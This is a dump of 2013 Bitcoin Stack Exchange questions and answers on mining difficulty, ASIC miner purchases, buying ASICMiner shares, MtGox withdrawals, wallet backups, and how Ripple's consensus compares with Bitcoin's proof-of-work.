  <row Id="10142" PostTypeId="1" CreationDate="2013-04-24T07:46:19.507" Score="3" ViewCount="45" Body="&lt;p&gt;As far as I understand it, the target T is a floating point number that is adjusted based on the moving average of the difficulty of some previous transactions. Mining a block happens when somebody is able to find a block x so that H(x) &amp;lt; T (by varying the nonce and/or block contents by brute force). Please correct me if I'm wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, due to the structure of a hash function, there is basicaly no way to know if for a given y, there exists a x so that H(X) = y, meaning that there are some &quot;unreachable&quot; hashes. These unreachable hashes are supposed to be distributed randomly (as are all hash outputs), which would mean that there can also be continuous ranges of unreachable hash outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything that prevents the target from becoming so small that &lt;em&gt;no&lt;/em&gt; valid blocks can be found that match the target requirement, because all of the hashes close enough to the target are unreachable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that the difficulty would have to rise more than we can currently imagine, but I wonder if there is any way to deterministically rule out that possibility, in addition to it being very, very, very unlikely?&lt;/p&gt;&#xA;" OwnerUserId="4607" LastActivityDate="2013-04-24T07:46:19.507" Title="Could the target become unreachable?" Tags="|blockchain|attack|hash|" AnswerCount="0" CommentCount="2" ClosedDate="2013-04-24T10:56:07.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="10144" PostTypeId="1" CreationDate="2013-04-24T08:45:42.247" Score="1" ViewCount="49" Body="&lt;p&gt;I'd like to order some Jalapeños (the 5 Gh/s models) from Butterfly Labs; I'm thinking about 4 of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I'd be looking to a delivery time of 3-6 months; and I know perfectly well that mining difficulty will increase dramatically in the next few months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With current BitCoin exchange rates, it would take ~10 BTC to repay the cost of the Jalapeños; but will they be able to mine 10 BTC in a reasonable time, 3-6 months from now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it make any sense at all to place the order now?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="5406" LastEditDate="2016-04-10T10:15:03.817" LastActivityDate="2016-04-10T10:15:03.817" Title="Would it make any sense to order ASIC miners now?" Tags="|mining-profitability|butterfly-labs|" AnswerCount="0" CommentCount="0" ClosedDate="2013-04-24T12:39:19.313" ContentLicense="CC BY-SA 3.0" />
  <row Id="10145" PostTypeId="2" ParentId="10102" CreationDate="2013-04-24T08:56:29.873" Score="1" Body="&lt;p&gt;Possibly the hardest data you can get is the details about every individual trade on MtGox. Using the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v0#0.2Fdata.2FgetTrades.php&quot; rel=&quot;nofollow&quot;&gt;API&lt;/a&gt; you can get the trades and then build any derived information you'd need. The data is complete except for the depth information which would be of little use compared to the sheer size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mt.Gox currently dictates the price, being the biggest market, but you could certainly splice in additional information from other markets as well.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-04-24T08:56:29.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10146" PostTypeId="2" ParentId="10102" CreationDate="2013-04-24T08:58:31.593" Score="1" Body="&lt;p&gt;This is probably the best source:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/markets&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/markets&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://bitcoincharts.com/charts&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2013-04-24T08:58:31.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10147" PostTypeId="2" ParentId="10139" CreationDate="2013-04-24T09:02:40.657" Score="3" Body="&lt;p&gt;It's possible to track how many coins are owned by a given address, but there's no way (at least, no &lt;em&gt;easy&lt;/em&gt; way) to associate an address with its actual owner; it's not possible to know for sure how wealth is distributed.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2013-04-24T09:02:40.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10148" PostTypeId="1" AcceptedAnswerId="10292" CreationDate="2013-04-24T09:08:17.990" Score="8" ViewCount="36530" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;ASICminer did decide to keep the hardware and mine. They're selling&#xA;  shares with intent to payout the dividends from whatever profit is&#xA;  made.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Okay, so we got three players. ASICminer. Avalon. And butterfly labs. Obviously ASICMiner is the one most convenient. We don't need to do anything. We just pay. And get results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where can I buy ASICminer share?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also how do they pay dividend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we own a share. Then we login to their site, and then we insert our bitcoin address? Or what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is their website?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="2306" LastEditDate="2015-07-26T18:53:35.910" LastActivityDate="2015-07-26T18:53:35.910" Title="Where can we buy shares of ASICMiner" Tags="|asic|investing|finance|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10149" PostTypeId="1" CreationDate="2013-04-24T09:16:55.150" Score="-2" ViewCount="1281" Body="&lt;p&gt;disclaimer: I'm completely new at this, basic computer skills limited to GUI point-&amp;amp;-click&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I took a look at how difficulty was explained, that it is &quot;increased&quot; by requiring the SHA-256 generation of blocks with more leading 0 bits, thus a string of 0s at the start of the hash which is more and more rare. Unless this has not been explained in a way I understand properly I think this means that you can cheat the Bitcoin difficulty and make blocks whenever you want? You simply need a custom SHA-256 hash generation program which non-randomly generates the specified number of 0s followed by a random SHA-256 hash shortened by the number of digits equal to the number of 0s in front, or simply generates a SHA-256 hash and then replaces the leading bits with 0 bits to meet the difficulty target thus forging a block hash. So from what I'm told it's A) easy to cheat; OR B) not well enough explained.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Isn't higher difficulty less and less secure a block hash because it is less and less random? Like if the difficulty were theoretically to rise high enough wouldn't it require the entire hash to be ONLY 0 bits instead of just the first part? Doesn't that ruin the security of Bitcoin the harder it gets? Hashes are seemingly easier to crack the higher difficulty is, easier to guess randomly and easier to forge. Couldn't I or someone else just spam strings of 0 and be rewarded with blocks just as fast as they could spam enough 0s to complete a hash?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I realize the answer to both questions is probably &quot;no it's not like that&quot; but that is the way it's been explained on the wiki and wikipedia and various other places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's more like, miners actually process transactions, not just (or maybe not even because those could be coming from both parties of the transaction) randomly generate hashes. Also there is probably some encryption involved which has not been properly explained and which when difficulty rises is added in many more multiple layers, encrypting and re-encrypting the already encrypted data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The explanation about 0 strings also doesn't allow for a infinitely variable difficulty above 1 and for this reason it also doesn't seem to make sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like more transparency in how the actual technical process is explained even if it's so long that I don't care to read it. It'd also be great to find links to the full publicly released SHA standards and documentation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more transparent the security is the more likely it is that someone will find a way to break or breach it if this is possible and while it is not desirable for that to happen it's better that it happen sooner rather than later if it can happen at all. Thus more robust standards blocking that sort of breach can be implemented. &lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="5406" LastEditDate="2016-03-16T10:40:18.300" LastActivityDate="2016-03-16T10:40:18.300" Title="Why can't just any hash be used for a block?" Tags="|security|hash|mining-technical-details|" AnswerCount="3" CommentCount="2" ClosedDate="2013-04-24T20:43:03.213" ContentLicense="CC BY-SA 3.0" />
  <row Id="10150" PostTypeId="2" ParentId="10149" CreationDate="2013-04-24T09:51:29.393" Score="1" Body="&lt;p&gt;Hashes are one-way functions.  sha256(&quot;DataGoesHere&quot;) --&gt; HashResult&#xA;but given just a HashResult, you cannot then determine what was the value of the data that got hashed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you change even one bit of that HashResult (e.g., prefix it with a zero) then that data it corresponds to will be completely different.   So it is easy to get the HashResult.  It is essentially impossible to go the other direction and determine the value of the data.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-24T09:51:29.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10151" PostTypeId="1" CreationDate="2013-04-24T09:54:31.683" Score="1" ViewCount="256" Body="&lt;p&gt;I'm looking how the mining software works and how miners can verify the transactions and how they can accept transactions or not, and I have some questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What software use miners to accept transactions when they find a block, their mining software or the Bitcoin client software?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm searching information about Bitcoin and I don't know how miners can verify transactions, but I read here that miners that find a block can accept the transdactions that they want, but if they are &quot;bad&quot; or &quot;malicious&quot; miners, they can accept invalid transactions (double spending transactions). When this &quot;bad&quot; or &quot;malicious&quot; miner accepts the transaction this validation is broadcasted over the network to be confirmated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my english. If someone don't understand something of you need to explain more some questions, please reply me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3660" LastEditorUserId="3660" LastEditDate="2013-04-24T11:32:49.233" LastActivityDate="2013-06-23T12:37:22.877" Title="Mining software and miners verifications and how accept transactions" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10152" PostTypeId="2" ParentId="10149" CreationDate="2013-04-24T10:15:00.610" Score="1" Body="&lt;p&gt;As you expected, the answer to both is no :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the generation of hashes: the miner attempts to find an input that, fed into a specified function, gives an output that satisfies certain properties. In Bitcoin the property is that the output is required to have a given number of zeroes. As your peers will recalculate the hash from the input you provide them with (the block) they will notice that the hash does not match the property and discard it. In fact the hash is not even directly relayed, but only the block from which the hash can be calculated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the target being unreachable, this question has been &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9933/is-it-possible-for-the-network-to-stop-finding-valid-blocks/9939#9939&quot;&gt;asked a number of times before&lt;/a&gt;. The gist of it is that &lt;code&gt;H(block) &amp;lt; target&lt;/code&gt;. An increase in difficulty  reduces the number of possible solutions, but not the set in which you have to look for them, making it harder to find one.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-04-24T10:15:00.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10154" PostTypeId="2" ParentId="10151" CreationDate="2013-04-24T10:49:01.397" Score="1" Body="&lt;p&gt;There are many approaches to mining.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The leading approach nowadays is to use Getblocktemplate.  The &lt;a href=&quot;http://en.bitcoin.it/wiki/Getblocktemplate&quot; rel=&quot;nofollow&quot;&gt;wiki page for that&lt;/a&gt; includes a relatively easy to understand example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an implementation in Python called &lt;a href=&quot;http://gitorious.org/bitcoin/python-blkmaker&quot; rel=&quot;nofollow&quot;&gt;python-blkmaker&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-24T10:49:01.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10155" PostTypeId="2" ParentId="10148" CreationDate="2013-04-24T11:23:01.023" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=99497.0&quot; rel=&quot;nofollow&quot;&gt;Originally&lt;/a&gt;, ASICMiner sold share on &lt;a href=&quot;https://en.bitcoin.it/wiki/GLBSE&quot; rel=&quot;nofollow&quot;&gt;GLBSE&lt;/a&gt;, a Bitcoin stock exchange that has already closed it's business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, you can buy their shares both on &lt;a href=&quot;https://bitfunder.com/asset/G.ASICMINER-PT&quot; rel=&quot;nofollow&quot;&gt;BitFunder&lt;/a&gt; and &lt;a href=&quot;https://btct.co/security/ASICMINER-PT&quot; rel=&quot;nofollow&quot;&gt;BTC Trading Corp&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-04-24T11:32:47.410" LastActivityDate="2013-04-24T11:32:47.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10157" PostTypeId="1" CreationDate="2013-04-24T11:28:33.677" Score="2" ViewCount="937" Body="&lt;p&gt;I'd like to make a paper backup of my Armory wallet that will still require a password to recover. Right now it seems that the paper backup is not encrypted. &lt;/p&gt;&#xA;" OwnerUserId="2277" LastActivityDate="2013-12-04T01:33:53.503" Title="Paper backup from Armory that requires a password?" Tags="|wallet|backup|armory|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10158" PostTypeId="2" ParentId="10157" CreationDate="2013-04-24T11:51:48.023" Score="1" Body="&lt;p&gt;As the paper backup consists of two simple string you can use any encryption scheme you'd like to implement this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be as simple as manually applying rot13-like encryption, to one-time-pads. Just make sure you keep the ciphertext short in order to still be able to print and, more importantly, type it in eventually.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-04-24T11:51:48.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10162" PostTypeId="2" ParentId="10066" CreationDate="2013-04-24T13:55:13.170" Score="5" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Main_Page&quot; rel=&quot;nofollow&quot;&gt;official Bitcoin Wiki&lt;/a&gt; has a page about the &lt;a href=&quot;https://en.bitcoin.it/wiki/History&quot; rel=&quot;nofollow&quot;&gt;History of Bitcoin&lt;/a&gt;. Also, the original &lt;a href=&quot;http://bitcoin.org/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin homepage&lt;/a&gt; has a page with &lt;a href=&quot;http://bitcoin.org/en/about&quot; rel=&quot;nofollow&quot;&gt;a brief history of Bitcoin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This wiki is primarily maintained by the original creators and developers of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I especially like&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;May 21 2010 - laszlo first to buy pizza with Bitcoins agreeing upon&#xA;  paying 10,000 BTC for ~$25 worth of pizza courtesy of jercos&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you want authority, you can either visit the &lt;a href=&quot;http://bitcointalk.org&quot; rel=&quot;nofollow&quot;&gt;Bitcointalk&lt;/a&gt; forums and contact &lt;a href=&quot;https://bitcointalk.org/index.php?action=mlist;sort=registered;start=0&quot; rel=&quot;nofollow&quot;&gt;some of the oldest forum members&lt;/a&gt;. Or take a look at the official Bitcoin GitHub project were &lt;a href=&quot;https://github.com/bitcoin?tab=members&quot; rel=&quot;nofollow&quot;&gt;the lead developers&lt;/a&gt; are listed. (They are also &lt;a href=&quot;http://bitcoin.org/en/development&quot; rel=&quot;nofollow&quot;&gt;listed on the Bitcoin homepage&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-04-24T22:01:30.207" LastActivityDate="2013-04-24T22:01:30.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10164" PostTypeId="1" CreationDate="2013-04-24T14:06:14.273" Score="1" ViewCount="891" Body="&lt;p&gt;Can all stock holder get a login information or does dividend paid to private address? What?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastActivityDate="2013-07-23T19:38:16.040" Title="How does AsicMiner pay the dividend?" Tags="|investing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10165" PostTypeId="1" CreationDate="2013-04-24T15:32:31.063" Score="5" ViewCount="1499" Body="&lt;p&gt;Miners want to include as many transactions as possible in their block to get the (optional) transaction fee. But what motivates them to relay a transaction further to the network? Is this done solely for the greater good?&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditDate="2013-04-24T17:12:45.030" LastActivityDate="2013-05-19T17:42:18.700" Title="What motivates nodes (or miners) to relay transactions?" Tags="|transactions|relay|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10166" PostTypeId="1" AcceptedAnswerId="10169" CreationDate="2013-04-24T15:41:20.267" Score="2" ViewCount="4758" Body="&lt;p&gt;I have started mining with &lt;a href=&quot;http://bitminter.com&quot; rel=&quot;nofollow&quot;&gt;BitMinter.com&lt;/a&gt; and am nearing a complete bitcoin. I have searched for hours for my account/wallet address so I can move bitcoins from BitMinter to an exchange. I can't seem to find that, or any way to sell any bitcoins I have worked for. How do I get my bitcoin from BitMinter to somewhere like &lt;a href=&quot;http://fastcash4bitcoins.com&quot; rel=&quot;nofollow&quot;&gt;fastcash4bitcoins.com&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="4615" LastEditorUserId="1307" LastEditDate="2013-04-24T16:02:27.740" LastActivityDate="2020-01-16T08:29:39.097" Title="Selling BTC from BitMinter" Tags="|exchanges|address|sell-bitcoins|trade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10167" PostTypeId="2" ParentId="10165" CreationDate="2013-04-24T15:41:59.053" Score="2" Body="&lt;p&gt;The only way to expect others to relay your own transactions is to do the same with theirs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want your transaction included in a block you will either have to mine it yourself, which is nearly impossible if you would have to do so for every transaction you want to make or either you will have to assume that others will relay it to all miners so that eventually someone will include it in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know from yourself that you are dependent on other miners, it is only logical that you help others to get their transactions in a block as well, so that you can assume they do the same with yours. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relaying other transactions to miners also gives the miners the opportunity to make more profit (from fees), which will make it more likely that people will mine and that your transaction will eventually be included in one of their blocks.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-24T15:41:59.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10168" PostTypeId="2" ParentId="10164" CreationDate="2013-04-24T15:45:39.130" Score="1" Body="&lt;p&gt;The exchanges that ASICMiner trades their shares on require you to register with a Bitcoin address on which you want to receive your dividends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10148/where-can-we-buy-shares-of-asicminer/10155#10155&quot;&gt;this answer&lt;/a&gt; on where ASICMiner shares can be traded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When they pay out dividends, the total amount will be shared equally among all shares and payed of all shareholders by the address they gave the exchange to receive dividends on.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-04-24T15:45:39.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10169" PostTypeId="2" ParentId="10166" CreationDate="2013-04-24T15:53:01.490" Score="2" Body="&lt;p&gt;Bitminter has an auto cash out function. On the &lt;a href=&quot;https://bitminter.com/members/&quot; rel=&quot;nofollow&quot;&gt;Account homepage&lt;/a&gt;, you can set a Bitcoin address to which your coins are deposited as soon as you reach a certain amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you already have a Bitcoin wallet somewhere that can give you an address to enter in the auto cash out form. If you don't, visit &lt;a href=&quot;http://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; on the Bitcoin website and create a wallet. (I recommend you for simplicity and security considerations to choose a web wallet or a fast wallet like Multibit or Electrum.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you set up auto cash out, you will receive your bitcoins in your wallet. They you can create an account on &lt;a href=&quot;https://en.bitcoin.it/wiki/Selling_bitcoins&quot; rel=&quot;nofollow&quot;&gt;an exchange that allows you to sell bitcoins&lt;/a&gt;. They will give you a deposit address to which you will need to send your bitcoins using your wallet. As soon as the deposit arrives, you can sell your coins and withdraw the cash from the exchange site.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-24T15:53:01.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10170" PostTypeId="2" ParentId="10095" CreationDate="2013-04-24T15:56:21.847" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/joric/pywallet&quot; rel=&quot;nofollow&quot;&gt;PyWallet&lt;/a&gt;, a simple tool for exporting &lt;code&gt;wallet.dat&lt;/code&gt; files, to retrieve the &lt;a href=&quot;https://en.bitcoin.it/wiki/Private_key&quot; rel=&quot;nofollow&quot;&gt;private keys&lt;/a&gt; for your wallet addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;Most wallets&lt;/a&gt; nowadays can import private keys, which give direct access to all the funds in your backed up wallet.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-24T15:56:21.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10171" PostTypeId="2" ParentId="8684" CreationDate="2013-04-24T16:09:50.383" Score="2" Body="&lt;p&gt;The High Price is the lowest sell order that is on the exchange. Conversely, the Low Price is the highest buy order on the exchange. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the Last Price is calculated differently. It looks at what the price was the last several times that bitcoins changed hands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Last Price is higher than High Price, or lower than Low Price, that is indicative of one of two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Someone is trying to manipulate the last price by trading bitcoins absurdly high or low.&lt;/li&gt;&#xA;&lt;li&gt;The market has moved since the last trade.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-05-26T19:02:53.647" LastActivityDate="2013-05-26T19:02:53.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10172" PostTypeId="1" AcceptedAnswerId="10173" CreationDate="2013-04-24T17:28:13.930" Score="5" ViewCount="14343" Body="&lt;p&gt;I downloaded the Bitcoin Wallet from bitcoin.org; it's on my PC with a $0 balance. I want to purchase some bitcoins with dollars on MtGox, but how do I make it such that my purchase shows up in my wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an account on MtGox, but I don't see anything under Funding Options where I can link my wallet with the MtGox transaction, then again, I've never purchased Bitcoins so maybe I'm misunderstanding something.&lt;/p&gt;&#xA;" OwnerUserId="4311" LastEditorUserId="4311" LastEditDate="2013-04-24T17:45:11.200" LastActivityDate="2013-05-02T13:38:59.317" Title="How to use Bitcoin Wallet with MtGox?" Tags="|wallet|mtgox|buy-bitcoins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10173" PostTypeId="2" ParentId="10172" CreationDate="2013-04-24T17:31:29.467" Score="5" Body="&lt;p&gt;You need to buy bitcoins on MtGox using another currency. These bitcoins will show up on your MtGox account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then withdraw these bitcoins from your MtGox account to your own wallet. You can find this under &lt;code&gt;Funding options &amp;gt; Withdraw funds &amp;gt; Bitcoin&lt;/code&gt;. Enter the address your wallet gives you and MtGox will send your coins to that address so that they show up in your wallet.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-24T17:31:29.467" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10174" PostTypeId="1" CreationDate="2013-04-24T17:57:44.807" Score="2" ViewCount="13171" Body="&lt;p&gt;I'm aware that PayPal's terms of conditions do not allow for &lt;strong&gt;purchase&lt;/strong&gt; of virtual currencies such as bitcoins, however, is it possible to &lt;strong&gt;sell&lt;/strong&gt; bitcoins and receive PayPal credit in return? MtGox allows you to exchange BTC &gt; USD, but there's no way to withdraw it using Paypal or a similar service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an exchange that supports either MtGox coupons or direct bitcoin transactions to top up a PayPal account, without the use of a credit card or bank transfer? I'm interested in more obfuscated methods/workarounds as well, even with the use of multiple exchanges.&lt;/p&gt;&#xA;" OwnerUserId="4618" LastActivityDate="2013-09-28T14:32:59.700" Title="Is it possible to exchange bitcoins into PayPal credit?" Tags="|exchanges|mtgox|paypal|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10175" PostTypeId="2" ParentId="10174" CreationDate="2013-04-24T18:16:47.527" Score="1" Body="&lt;p&gt;I would not recommend using Paypal for any transaction involving Bitcoins. Many in the community have been scammed and PayPal still considers Bitcoins to be the same as ISK or WoW Gold. Instead for your transactions, I would recommend Bitpay and Dwolla.&lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-24T18:16:47.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10176" PostTypeId="2" ParentId="10149" CreationDate="2013-04-24T18:21:40.740" Score="0" Body="&lt;p&gt;A hash function is a mathematical function that is easy to perform in one direction, but for which there is no known way to easily perform in the other direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, why don't you generate a SHA-256 hash and replace the beginning of the hash with zeroes? Because then it wouldn't be the hash anymore. It is (by definition of a hash function) easy for anyone to verify the hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why don't you write a custom SHA-256 program that generates a hash that starts with the prerequisite number of zeros? Because (again, by definition) a hash function means that there is no way to perform the function in the reverse direction: you can't predict the result of the hash (or even part of the hash, such as the leading zeroes.) There's no way to write such a program, otherwise SHA-256 would be considered &quot;broken&quot; and wouldn't be used as a hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially what mining is (as described in the linked article) is repeatedly hashing the block, varying only one field called the &quot;nonce&quot;. A miner will try millions of possible nonces, hoping that the resulting has the required number of zeroes at the beginning.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-24T18:21:40.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10177" PostTypeId="1" CreationDate="2013-04-24T19:12:59.920" Score="3" ViewCount="207" Body="&lt;p&gt;First of all, sorry for a potentially silly question, but I flicked through seven pages of questions here and I couldn't find a specific answer for that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Namecoin basically work? I understand the basic principles of Bitcoin and heard these are the same in Namecoin - you mine coins, get a reward, which gradually decreases. But in Namecoin, the coins are also deleted, aren't they? Doesn't it mean that we will eventually run out of the supply of Namecoins?&lt;/p&gt;&#xA;" OwnerUserId="2150" LastActivityDate="2013-04-24T22:04:41.420" Title="How are Namecoins managed by the system?" Tags="|namecoin|" AnswerCount="1" CommentCount="0" ClosedDate="2020-04-29T03:19:06.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="10180" PostTypeId="1" AcceptedAnswerId="10202" CreationDate="2013-04-24T21:11:46.640" Score="23" ViewCount="5279" Body="&lt;p&gt;One of the major differences between Bitcoin and Ripple is how they process transactions. I can think of three ways in which Ripple's &quot;consensus&quot; scheme is superior to Bitcoin's proof-of-work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Less energy-intensive&lt;/li&gt;&#xA;&lt;li&gt;No 51% attack&lt;/li&gt;&#xA;&lt;li&gt;Faster transactions&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What are the other pros and cons of Ripple's consensus as compared with Bitcoin's proof-of-work?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2013-04-25T16:46:16.673" Title="What are the pros and cons of Ripple's consensus as compared with Bitcoin's proof-of-work?" Tags="|transactions|ripple|doublespend|proof-of-work|consensus|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10181" PostTypeId="1" AcceptedAnswerId="10204" CreationDate="2013-04-24T21:34:06.953" Score="10" ViewCount="2484" Body="&lt;p&gt;In Bitcoin, if a participant gains control of more than 50% of the hash power, they can execute a double-spending attack. The &quot;attack&quot; could come from within, say if the existing powerful miners decide to change the rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Ripple have a similar problem, where a few people can effectively take control of the system? If yes, how does it work?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="5406" LastEditDate="2015-06-09T23:11:47.920" LastActivityDate="2018-12-07T18:43:34.913" Title="What is the Ripple equivalent of the &quot;51% attack?&quot;" Tags="|ripple|doublespend|attack|majority-attack|decentralization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
